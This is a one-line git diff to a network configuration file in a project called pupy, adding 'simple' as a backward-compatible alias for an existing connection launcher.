diff --git a/pupy/network/conf.py b/pupy/network/conf.py
index 1d2d3402..4d8f1c32 100644
--- a/pupy/network/conf.py
+++ b/pupy/network/conf.py
@@ -145,6 +145,7 @@ if scramblesuit:
 		}
 
 launchers["connect"]=SimpleLauncher
+launchers["simple"]=SimpleLauncher # keeped for backward-compatibility with old windows templates
 launchers["auto_proxy"]=AutoProxyLauncher
 launchers["bind"]=BindLauncher